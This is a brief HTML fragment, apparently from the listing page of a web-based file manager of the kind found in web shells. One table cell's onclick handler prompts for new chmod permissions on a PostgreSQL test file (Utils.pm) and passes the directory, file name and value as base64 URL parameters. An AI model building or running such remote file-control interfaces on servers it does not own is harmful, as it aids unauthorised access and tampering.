onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcG9zdGdyZXNxbC8xNi9saWIvcGd4cy9zcmMvdGVzdC9wZXJsL1Bvc3RncmVTUUwvVGVzdA==&f=VXRpbHMucG0=&c=`+btoa(c):0" value="0644"></td><td>22473</td></tr></table>